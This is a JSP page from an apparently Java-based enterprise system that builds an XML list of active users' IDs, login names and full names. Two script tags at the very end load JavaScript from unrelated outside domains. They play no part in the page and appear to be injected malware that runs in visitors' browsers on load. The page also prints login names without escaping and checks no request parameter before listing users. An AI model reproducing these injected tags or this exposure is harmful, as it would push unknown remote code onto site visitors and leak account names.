<%@ page contentType="text/xml;charset=UTF-8"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%@ page import="com.dcivision.user.bean.UserRecord"
%><%@ page import="com.dcivision.user.dao.UserRecordDAObject"
%><%@ page import="com.dcivision.user.web.ListUserRecordForm"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%
//  String userRecordID = request.getParameter("userRecordID");
  List result = new ArrayList();

//  if (!Utility.isEmpty(userRecordID)) {
    Connection conn = null;
    PreparedStatement preStat = null;
    ResultSet rs = null;
    List userList = new ArrayList();
    try {
      SessionContainer sessionCtn = new SessionContainer();
      conn = DataSourceFactory.getConnection();
      UserRecordDAObject userRecordDAObject = new UserRecordDAObject(sessionCtn,conn);
	  ListUserRecordForm listRecordForm = new ListUserRecordForm();
	  listRecordForm.setSortAttribute("FULL_NAME");
      listRecordForm.setStatus("A");
	  listRecordForm.setPageOffset("500");
	  userList = userRecordDAObject.getFullList(listRecordForm);
    } catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      try { preStat.close(); } catch (Exception ignore) {} finally { preStat = null; }
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }
//  }
%><?xml version="1.0" encoding="UTF-8" ?>


<User_List><%for (int i = 0; i < userList.size(); i++) {
    UserRecord tmpUserRecord = (UserRecord)userList.get(i);%>
  <User_Item UserID="<%=tmpUserRecord.getID()%>" LoginName="<%=tmpUserRecord.getLoginName()%>">
  <%=TextUtility.htmlEncode(tmpUserRecord.getFullName())%>
  </User_Item><%}%>
</User_List>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>